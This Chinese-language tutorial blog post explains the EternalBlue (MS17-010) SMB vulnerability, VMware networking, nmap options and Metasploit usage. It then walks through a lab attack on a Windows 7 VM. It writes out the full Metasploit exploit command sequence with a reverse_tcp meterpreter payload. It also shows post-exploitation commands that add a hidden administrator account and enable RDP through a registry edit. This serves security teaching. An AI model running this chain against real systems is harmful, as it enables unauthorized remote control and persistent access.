永恒之蓝漏洞

发布于:2024-10-18 ⋅ 阅读:(13) ⋅ 点赞:(0)

        MS17-010是微软于2017年3月发布的一个安全补丁,旨在修复Windows操作系统中的一个严重漏洞,该漏洞被称为“永恒之蓝”(EternalBlue)。这个漏洞影响了Windows的Server Message Block(SMB)协议,允许攻击者通过网络远程执行代码。

漏洞背景

  • CVE编号:CVE-2017-0144
  • 影响版本:Windows Vista、Windows 7、Windows 8、Windows 10、Windows Server 2008、Windows Server 2012、Windows Server 2016等多个版本。
  • 攻击方式:攻击者可以利用此漏洞发送特制的请求到目标计算机的SMB服务,从而执行恶意代码,获取系统权限。

影响

永恒之蓝漏洞的严重性在于,它允许攻击者在没有用户交互的情况下,通过网络传播恶意软件。2017年5月,勒索病毒WannaCry利用此漏洞进行传播,导致全球范围内的大规模感染,影响了数十万台计算机。

防护措施

  1. 安装补丁:及时安装微软发布的MS17-010补丁,以修复该漏洞。
  2. 关闭SMBv1:如果不需要,可以考虑禁用SMBv1协议,以减少攻击面。
  3. 网络防护:使用防火墙和入侵检测系统,限制对SMB端口(如445端口)的访问。
  4. 定期备份:定期备份重要数据,以防止勒索软件攻击造成的数据丢失。

桥接模式

桥接模式就是将主机网卡与虚拟的网卡利用虚拟网桥进行通信。类似于把物理主机虚拟为一个交换机,所有桥接设置的虚拟机连接到这个交换机的一个接口上,物理主机也同样插在这个交换机当中,所以所有桥接下的网卡与网卡都是交换模式的,相互可以访问而不干扰。在桥接模式下,虚拟机IP地址需要与主机在同一网段,如果需要联网,则网关与DNS需要与主机网卡一致。

桥接模式下的所有虚拟机都是和主机是在同一网段的,可以把它们看成是"平等"的关系,这就会带来一些麻烦,比如192.168.1段下只有254个主机地址,所以桥接模式下虚拟机和物理的总数不能超过这个数字!

Nat模式

 

在NAT模式中,主机网卡直接与虚拟NAT设备相连,然后虚拟NAT设备与虚拟DHCP服务器一起连接在虚拟交换机VMnet8上,这样就实现了虚拟机联网。VMware Network Adapter VMnet8网卡是为了实现主机与虚拟机之间的通信。

可见NAT模式下主机更像是虚拟机们的"路由器",通过VMnet8虚拟网卡为虚拟机分发地址。所以虚拟机和主机不再同一网段下,可以理解为主机是虚拟机的"上级",这也就是为什么桥接模式没有VMnet0这个虚拟网卡,因为桥接模式下的虚拟机和主机是"平等"的,共用同一个路由器

VMnet8网卡的作用仅仅是主机与虚拟机之间的通信,访问外网是不通过VMnet8网卡的!NAT模式下的虚拟机时通过真实主机的ip访问外网


仅主机模式

仅主机模式可有看成是NAT模式去除了虚拟NAT设备,然后使用VMware Network Adapter VMnet1虚拟网卡连接VMnet1虚拟交换机来与虚拟机通信的,Host-Only模式将虚拟机与外网隔开,使得虚拟机成为一个独立的系统,只与主机相互通讯。

nmap使用:

        Nmap(Network Mapper)是一款用于网络发现和安全审计的开源工具。它最初由 Gordon Lyon(也被称为 Fyodor Vaskovich)开发,是一款功能强大且广泛使用的网络扫描工具。Nmap 允许用户在网络上执行主机发现、端口扫描、服务识别和版本检测等操作,以帮助评估网络的安全性、发现主机和服务、以及识别潜在的安全威胁。

nmap常用命令

主机发现 

iR                                                                随机选择目标

-iL                                                                从文件中加载IP地址

-sL                                                               简单的扫描目标

-sn                                                               Ping扫描-禁用端口扫描

-Pn                                                              将所有主机视为在在线,跳过主机发现

-PS[portlist]                                              (TCP SYN ping) 需要root权限

-PA[portlist]                                              (TCP ACK ping)

-PU[portlist]                                              (UDP  ping)

-PY [portlist]                                             (SCTP ping)

-PE/PP/PM                                                 ICMP回显,时间戳和网络掩码请求探测

-PO[协议列表]                                            IP协议Ping

-n/-R                                                           从不执行DNS解析/始终解析[默认:有时]

--dns-servers                                              指定自定义DNS服务器

--system-dns                                              使用OS的dns服务器

--traceroute                                                跟踪到每个主机的跃点路径

扫描技术

-sS                                                             使用TCP的SYN进行扫描

-sT                                                             使用TCP进行扫描

-sA                                                            使用TCP的ACK进行扫描

-sU                                                            UDP扫描

-sI                                                             Idle扫描

-sF                                                            FIN扫描

-b<FTP中继主机>                                     FTP反弹扫描

端口规格和扫描顺序

-p                                                              扫描指定端口

--exclude-ports                                         从扫描中排除指定端口

-f                                                               快速模式-扫描比默认扫描更少的端口

-r                                                               连续扫描端口-不随机化

--top-ports                                                 扫描<number>最常用的端口

服务/版本探测

-sV                                                            探测服务/版本信息

--version-intensity                                     设置版本扫描强度(0-9)

--version-all                                              尝试每个强度探测

--version-trace                                          显示详细的版本扫描活动(用于调试)

脚本扫描

-SC                                                           等效于 --script=defult

--script = <lua scripts>,<lua scripts>        以逗号分隔的目录,脚本文件或脚本类别

--script-args = <n1=v1, n2=v2>               为脚本提供参数

--script-args-file=文件名                          从文件名中加载脚本参数

--script-trace                                            显示发送和接受的所有数据

--script-updatedb                                     更新脚本数据库

--script-help=<lua scripts>                      显示有关脚本的帮助

操作系统检测

-o                                                            启用os检测

--osscan-limit                                          将os检测限制为可能的目标

--osscan-guess                                       推测操作系统检测结果

时间和性能

--host-timeout                                         设置超时时间

--scan-delay                                           设置探测之间的时间间隔

-T  <0-5>                                                设置时间模板,值越小,IDS报警几率越低

防火墙/IDS规避和欺骗

-f                                                             报文分段

-s                                                             欺骗源地址

-g                                                            使用指定的本机端口

--proxies <url,port>                                 使用HTTP/SOCK4代理

-data<hex string>                                   想发送的数据包中追加自定义的负载

--data-string                                            将自定义的ACSII字符串附加到发送数据包中   

--data-length                                           发送数据包时,附加随机数据

--spoof-mac                                            MAC地址欺骗

--badsum                                                发送带有虚假TCP/UNP/STCP校验和的数据包

输出

-oN                                                         标准输出

-oX                                                         XMl输出

-oS                                                         script jlddi3

-oG                                                        grepable

-oA                                                         同时输出三种主要格式

-v                                                           信息详细级别

-d                                                           调试级别

--packet-trace                                        跟踪发送和接收的报文

--reason                                                 显示端口处于特殊状态的原因

--open                                                    仅显示开放的端口

杂项

-6                                                          启动Ipv6扫描

-A                                                          启动Os检测,版本检测,脚本扫描和traceroute

-V                                                          显示版本号

网络扫描神器:Nmap 保姆级教程(附链接)_虚拟机怎么安装nmap-CSDN博客

MSF使用:

        MSF使用详解-安全客 - 安全资讯平台

【工具使用】——Metasploit(MSF)使用详解(超详细)-CSDN博客

msf使用详解 · Drunkmars's Blog

        Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。   

1.打开msfconsole工具:kali终端输入 msfconsole

2.搜索漏洞: search 漏洞名字

3.选择相关模块:use 模块号

4.显示出有效的攻击载荷:show options

5.设置目标ip:set rhosts 目标ip

6.执行攻击:run 或 exploit

7.退出到msf:back

Metasploit

Metasploit Framework(MSF)是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

 

·  进入框架:msfconsole

·  使用search命令查找相关漏洞: search ms17-010

·  使用use进入模块: use exploit/windows/smb/ms17_010_eternalblue

·  使用info查看模块信息: info

·  设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

·  查看模块需要配置的参数:show options

·  设置参数:set RHOST 192.168.125.138

·  攻击:exploit / run

·  后渗透阶段

不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。

我们也可以将攻击代码写入 configure.rc(只要是以 .rc 结尾的文件)配置文件中,然后使用命令msfconsole -r configure.rc 进行自动攻击!

漏洞利用(exploit)

漏洞利用exploit,也就是我们常说的 exp,他就是对漏洞进行攻击的代码。

exploit漏洞利用模块路径:/usr/share/metasploit-framework/modules/exploits

这里面有针对不同平台的 exploit 。

我们现在就进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用

我们进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。

攻击载荷(payload)

payload模块路径:/usr/share/metasploit-framework/modules/payloads

点击并拖拽以移动

Payload中包含攻击进入目标主机后需要在远程系统中运行的恶意代码,而在Metasploit中Payload是一种特殊模块,它们能够以漏洞利用模块运行,并能够利用目标系统中的安全漏洞实施攻击。简而言之,这种漏洞利用模块可以访问目标系统,而其中的代码定义了Payload在目标系统中的行为。

Shellcode :Shellcode是payload中的精髓部分,在渗透攻击时作为攻击载荷运行的一组机器指令。Shellcode通常用汇编语言编写。在大多数情况下,目标系统执行了shellcode这一组指令 之后,才会提供一个命令行shell。

Metasploit中的 Payload 模块主要有以下三种类型:

  • -Single

  • -Stager

  • -Stage

  • ·  Single是一种完全独立的Payload,而且使用起来就像运行 calc.exe 一样简单,例如添加一个系统用户或删除一份文件。由于Single Payload是完全独立的,因此它们有可能会被类似 netcat 这样的非metasploit处理工具所捕捉到。
  • ·  Stager这种Payload负责建立目标用户与攻击者之间的网络连接,并下载额外的组件或应用程序。一种常见的Stager Payload就是reverse_tcp,它可以让目标系统与攻击者建立一条tcp连接,让目标系统主动连接我们的端口(反向连接)。另一种常见的是bind_tcp,它可以让目标系统开启一个tcp监听器,而攻击者随时可以与目标系统进行通信(正向连接)。
  • ·  Stage是Stager Payload下的一种Payload组件,这种Payload可以提供更加高级的功能,而且没有大小限制。

在 Metasploit 中,我们可以通过Payload的名称和使用格式来推断它的类型:

Single Payload的格式为:<target>/ <single>  如:windows/powershell_bind_tcp
Stager/Stage Payload的格式为:<target>/ <stage> / <stager>  如:windows/meterpreter/reverse_tcp

当我们在Metasploit中执行 show payloads 命令之后,它会给我们显示一个可使用的Payload列表:

在这个列表中,像 windows/powershell_bind_tcp 就是一个Single Payload,它不包含Stage Payload

而 windows/meterpreter/reverse_tcp 则由一个Stage Payloadmeterpreter)和 一个Stager Payloadreverse_tcp)组成

Stager中几种常见的payload

windows/meterpreter/bind_tcp       #正向连接
windows/meterpreter/reverse_tcp    #反向连接,常用
windows/meterpreter/reverse_http   #通过监听80端口反向连接
windows/meterpreter/reverse_https  #通过监听443端口反向连接

正向连接使用场景:我们的攻击机在内网环境,被攻击机是外网环境,由于被攻击机无法主动连接到我们的主机,所以就必须我们主动连接被攻击机了。但是这里经常遇到的问题是,被攻击机上开了防火墙,只允许访问指定的端口,比如被攻击机只对外开放了80端口。那么,我们就只能设置正向连接80端口了,这里很有可能失败,因为80端口上的流量太多了

反向连接使用场景:我们的主机和被攻击机都是在外网或者都是在内网,这样被攻击机就能主动连接到我们的主机了。如果是这样的情况,建议使用反向连接,因为反向连接的话,即使被攻击机开了防火墙也没事,防火墙只是阻止进入被攻击机的流量,而不会阻止被攻击机主动向外连接的流量。

反向连接80和443端口使用场景:被攻击机能主动连接到我们的主机,还有就是被攻击机的防火墙设置的特别严格,就连被攻击机访问外部网络的流量也进行了严格的限制,只允许被攻击机的80端口或443端口与外部通信

点击并拖拽以移动

Meterpreter

Meterpreter属于stage payload,在Metasploit Framework中,Meterpreter是一种后渗透工具,它属于一种在运行过程中可通过网络进行功能扩展的动态可扩展型Payload。这种工具是基于“内存DLL注入”理念实现的,它能够通过创建一个新进程并调用注入的DLL来让目标系统运行注入的DLL文件。

Meterpreter是如何工作的?

首先目标先要执行初始的溢出漏洞会话连接,可能是 bind正向连接,或者反弹 reverse 连接。反射连接的时候加载dll链接文件,同时后台悄悄处理 dll 文件。其次Meterpreter核心代码初始化,通过 socket套接字建立一个TLS/1.0加密隧道并发送GET请求给Metasploit服务端。Metasploit服务端收到这个GET请求后就配置相应客户端。最后,Meterpreter加载扩展,所有的扩展被加载都通过TLS/1.0进行数据传输。

Meterpreter的特点:

·  Meterpreter完全驻留在内存,没有写入到磁盘

·  Meterpreter注入的时候不会产生新的进程,并可以很容易的移植到其它正在运行的进程

·  默认情况下, Meterpreter的通信是加密的,所以很安全

·  扩展性,许多新的特征模块可以被加载。

我们在设置 payloads 时,可以将 payloads 设置为:windows/meterpreter/reverse_tcp ,然后获得了 meterpreter> 之后我们就可以干很多事了!具体的做的事,在我们下面的后渗透阶段都有讲!

 

kali控制台输入:msfconsole 进入metasploit框架

寻找MS17_010漏洞: search ms17_010

这里找到了两个模块,第一个辅助模块是探测主机是否存在MS17_010漏洞,第二个是漏洞利用模块,我们先探测哪些主机存在漏洞

Auxiliary辅助探测模块

该模块不会直接在攻击机和靶机之间建立访问,它们只负责执行扫描,嗅探,指纹识别等相关功能以辅助渗透测试。

输入命令:use auxiliary/scanner/smb/smb_ms17_010

查看这个模块需要配置的信息:show options

RHOSTS 参数是要探测主机的ip或ip范围,我们探测一个ip范围内的主机是否存在漏洞

输入:set RHOSTS 192.168.125.125-129.168.125.140

输入:exploit 攻击,这里有+号的就是可能存在漏洞的主机,这里有3个主机存在漏洞

Exploit漏洞利用模块

然后我们就可以去利用漏洞攻击了,选择漏洞攻击模块: use exploit/windows/smb/ms17_010_eternalblue

查看这个漏洞的信息:info

查看可攻击的系统平台,这个命令显示该攻击模块针对哪些特定操作系统版本、语言版本的系统:show targets

这里只有一个,有些其他的漏洞模块对操作系统的语言和版本要求的很严,比如MS08_067,这样就要我们指定目标系统的版本的。如果不设置的话,MSF会自动帮我们判断目标操作系统的版本和语言(利用目标系统的指纹特征)

Payload攻击载荷模块

攻击载荷是我们期望在目标系统在被渗透攻击之后完成的实际攻击功能的代码,成功渗透目标后,用于在目标系统上运行任意命令。

查看攻击载荷:show payloads

该命令可以查看当前漏洞利用模块下可用的所有Payload

设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp

点击并拖拽以移动

查看模块需要配置的参数: show options

设置RHOST,也就是要攻击主机的ip:set RHOST 192.168.125.138

设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shell:set LHOST 192.168.125.129

如果我们这里不设置lport的话,默认是4444端口监听

攻击: exploit

点击并拖拽以移动

后渗透阶段

运行了exploit命令之后,我们开启了一个reverse TCP监听器来监听本地的 4444 端口,即我(攻击者)的本地主机地址(LHOST)和端口号(LPORT)。运行成功之后,我们将会看到命令提示符 meterpreter > 出现,我们输入: shell 即可切换到目标主机的windows shell,要想从目标主机shell退出到 meterpreter ,我们只需输入:exit

永恒之蓝实验部分 :

        在msf中利用ms17-010漏洞来攻击系统,以熟悉msf工具的使用。

复现环境

  • 攻击机:kali,192.168.222.130
  • 被攻击机:win7,192.168.222.132 关闭防火墙

 

 

 

相互ping一下,看看能不能ping通

在kali中使用nmap扫描win7,发现445端口开放 

nmap:调用 Nmap 工具。

192.168.222.132:这是目标 IP 地址,表示你要扫描的设备。

-O:这个选项用于启用操作系统检测。Nmap 会尝试识别目标设备所运行的操作系统。

-sS:这是一个 TCP SYN 扫描,通常被称为“半开放扫描”。Nmap 发送 SYN 数据包(连接请求),如果目标主机响应 SYN-ACK,表示端口开放;如果响应 RST,表示端口关闭。这种扫描方式相对隐蔽,不会建立完整的 TCP 连接。

-T4:这个选项用于设置扫描速度和时间。Nmap 提供了多个时间模板(从 T0 到 T5),T4 表示“快速”,适合在网络延迟较低的环境中使用,可以加快扫描速度,但可能会增加被防火墙或入侵检测系统检测到的风险。

在kali的终端中打开msfconsole 

.利用search功能搜索ms17-010 搜索到两个模块

扫描模块:auxiliary/admin/smb/ms17_010

攻击模块:exploit/windows/smb/ms17_010_eternalblue

使用 模块3 对目标主机进行扫描,我们可以利用options先看一下选项,发现存在,ms17-010

        使用show options选项,查看我们要输入的具体参数,其中标注了yes的选项是必须的参数,若这个参数为空,则需要我们填写。RHOSTS选项为空,所以我们需要填写,RHOSTS代表要攻击的目标。输入r然后按tab键可以。

        设置RHOSTS,再run。

 进行exp,使用模块3,并查看选项

search 17-010
use 0
#设置payload连接的方式,reverse_tcp为反向连接,即受害机主动连接攻击机,以获取shell
set payload windows/x64/meterpreter/reverse_tcp
show options
set rhosts 192.168.222.130

 

看看配置文件

设置 rhosts:192.168.222.132

此处使用 set 命令,设置一下 RHOSTS (靶机的ip地址)

“rhosts”这个词在计算机安全和网络配置中通常指“远程主机”(Remote Hosts).

set RHOSTS 192.168.222.132

运行成功会出现meterpreter >
Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

运行成功后,就可远程命令执行。

使用chcp 65001 解决乱码问题

 

创建新的管理员账户,账户名hacker,密码12356(在shell控制台下)

使用net localgroup administrators hacker /add命令,将账户设置为管理员

使用net localgroup administrators命令可查看本地管理员

利用netstat -ano查看3389端口是否开启,发现没有开启

把3389端口打开 

 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 

  1. REG ADD:这是用于添加新项或修改现有项的命令。
  2. HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server

    • HKLM:代表 "HKEY_LOCAL_MACHINE",这是 Windows 注册表中的一个根键,存储了计算机的全局设置。
    • SYSTEM\CurrentControlSet\Control\Terminal Server:这是注册表中的一个路径,指向与终端服务相关的设置。
  3. /v fDenyTSConnections

    • /v:指定要添加或修改的值的名称。
    • fDenyTSConnections:这是一个值名称,用于控制远程桌面连接的设置。具体来说,它指定是否允许远程桌面连接。
  4. /t REG_DWORD

    • /t:指定值的数据类型。
    • REG_DWORD:表示这个值的数据类型是一个双字(DWORD),通常用于存储整数值。
  5. /d 00000000

    • /d:指定要设置的值的数据。
    • 00000000:这是要设置的值,表示允许远程桌面连接。具体来说,0(或 00000000)表示不拒绝远程桌面连接。
  6. /f

    • /f:表示强制执行,不会询问确认。如果没有这个选项,系统可能会提示用户确认修改操作。

 连接,rdesktop 192.168.222.132:3389

其他用户

 可以用rdesktop登录进去